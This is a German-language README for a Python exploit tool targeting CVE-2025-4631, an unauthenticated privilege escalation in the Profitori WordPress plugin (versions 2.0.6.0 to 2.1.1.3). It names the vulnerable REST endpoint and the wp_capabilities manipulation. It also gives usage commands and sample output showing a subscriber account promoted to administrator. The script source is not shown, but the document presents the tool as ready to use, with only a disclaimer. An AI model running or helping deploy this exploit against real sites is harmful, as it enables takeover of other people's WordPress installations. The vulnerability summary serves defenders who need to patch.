CVE-2025-4631

🚨 CVE-2025-4631 - Exploit zur Rechteausweitung des Profitori WordPress Plugins

📌 Zusammenfassung der Sicherheitslücke

Profitori Plugin (Versionen 2.0.6.0 bis 2.1.1.3) ist anfällig für Rechteausweitung ohne Authentifizierung aufgrund einer fehlenden Berechtigungsprüfung im Endpunkt /wp-json/stocktend/v1/stocktend_object. Dies ermöglicht entfernten Angreifern, die Berechtigungen vorhandener Benutzer zu erweitern (oder neue zu erstellen), indem sie das Metafeld wp_capabilities direkt manipulieren.

• CVE: CVE-2025-4631
• CVSS-Score: 9.8 (Kritisch)
• Veröffentlicht: 30. Mai 2025
• Zuletzt aktualisiert: 31. Mai 2025

🛠️ Was dieses Skript tut

Dieser Python-Exploit automatisiert den Rechteausweitungsprozess wie folgt:

1. ✅ Überprüfen der Plugin-Version über die Datei readme.txt.
2. 🚀 Ausnutzen des anfälligen REST-API-Endpunkts, falls eine anfällige Version erkannt wird.
3. 📡 Senden der Nutzlast, um die Berechtigungen eines Benutzers auf Administrator zu erweitern.
4. 🧾 Drucken formatierter, detaillierter Ergebnisse, einschließlich der geänderten Benutzeranmeldedaten.

Falls die Versionsprüfung fehlschlägt, fährt der Exploit vorsichtig mit einer Warnung fort.

📸 Exploit-Nachweis

💻 Verwendung

usage: CVE-2025-4631.py [-h] -u URL -id ID [--email EMAIL] [--name NAME] [--url_field URL_FIELD] [--verbose]

Beispiel:

python CVE-2025-4631.py -u http://nxploit.ddev.site -id 3

Beispielausgabe:

[📄] Checking plugin version at: http://nxploit.ddev.site/wp-content/plugins/profitori/readme.txt
[✅] Vulnerable version detected: 2.1.1.3
[🚀] Exploiting in 3 seconds...
[📡] Sending privilege escalation request to: http://nxploit.ddev.site/wp-json/stocktend/v1/stocktend_object
[🎯] Exploit completed successfully!

[🧾] Updated User Information:
--------------------------------------
🆔 User ID         : 3
👤 Username        : subscriber
📧 Email           : [email protected]
🪪 Display Name    : Subscriber User
🔗 User URL        : 
🛡 Role Raw        : a:1:{s:13:"administrator";b:1;}

[👑] Exploit By : Nxploited (Khaled_alenazi)
🔗 GitHub       : https://github.com/Nxploited
📧 Email        : [email protected]

⚙️ Skriptargumente

📂 Voraussetzungen

• Python 3.x
• requests Bibliothek

Installation über:

pip install requests

⚠️ Haftungsausschluss

Dieses Tool wird ausschließlich für Bildungs- und autorisierte Testzwecke bereitgestellt. Jeglicher Missbrauch dieses Exploits gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist strengstens untersagt. Der Ersteller übernimmt keine Verantwortung für Schäden oder rechtliche Konsequenzen, die aus unsachgemäßer Verwendung entstehen.

VON: Nxploited ( Khaled_Alenazi )